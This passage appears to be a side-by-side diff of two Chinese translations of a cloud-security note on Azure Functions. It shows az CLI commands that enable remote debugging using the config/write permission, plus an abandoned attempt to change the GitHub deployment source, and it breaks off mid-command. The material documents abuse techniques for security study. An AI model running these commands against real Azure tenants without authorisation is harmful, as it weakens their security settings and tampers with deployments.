也可以连接到正在运行的 Azure 函数进行调试,正如 [**文档中所解释的**](https://learn.microsoft.com/en-us/azure/azure-functions/functions-develop-vs)。然而,默认情况下,Azure 会在开发者忘记的情况下,在 2 天内将此选项关闭,以避免留下易受攻击的配置。
|
也可以像 [**explained in the docs**](https://learn.microsoft.com/en-us/azure/azure-functions/functions-develop-vs) 所述那样连接并调试正在运行的 Azure function。然而,默认情况下 Azure 会在 2 天后将此选项关闭,以防开发者忘记从而留下易受攻击的配置。
|
||||||
|
|
||||||
可以通过以下方式检查一个函数是否启用了调试:
|
可以使用以下命令检查某个 Function 是否启用了调试:
|
||||||
```bash
|
```bash
|
||||||
az functionapp show --name <app-name> --resource-group <res-group>
|
az functionapp show --name <app-name> --resource-group <res-group>
|
||||||
```
|
```
|
||||||
拥有权限 `Microsoft.Web/sites/config/write` 也可以将函数置于调试模式(以下命令还需要权限 `Microsoft.Web/sites/config/list/action`、`Microsoft.Web/sites/config/Read` 和 `Microsoft.Web/sites/Read`)。
|
具有权限 `Microsoft.Web/sites/config/write` 时,也可以将函数置于调试模式(下面的命令还需要权限 `Microsoft.Web/sites/config/list/action`、`Microsoft.Web/sites/config/Read` 和 `Microsoft.Web/sites/Read`)。
|
||||||
```bash
|
```bash
|
||||||
az functionapp config set --remote-debugging-enabled=True --name <app-name> --resource-group <res-group>
|
az functionapp config set --remote-debugging-enabled=True --name <app-name> --resource-group <res-group>
|
||||||
```
|
```
|
||||||
### 更改 Github 仓库
|
### 更改 Github repo
|
||||||
|
|
||||||
我尝试通过执行以下命令更改部署发生的 Github 仓库,但即使它确实更改了,**新代码并未加载**(可能是因为它期望 Github Action 更新代码)。\
|
我尝试通过执行以下命令更改进行部署的 Github repo,但即使更改了,**新代码也没有被加载**(可能因为它期望由 Github Action 更新代码)。\
|
||||||
此外,**托管身份联合凭据未更新**以允许新仓库,因此看起来这并不是很有用。
|
此外,**托管身份联合凭证并未更新以允许新仓库**,所以这看起来没什么用。
|
||||||
```bash
|
```bash
|
||||||
# Remove current
|
# Remove current
|
||||||
az functionapp deployment source delete \
|
az functionapp deployment source delete \
|
||||||
|
|||||||
Reference in New Issue
Block a user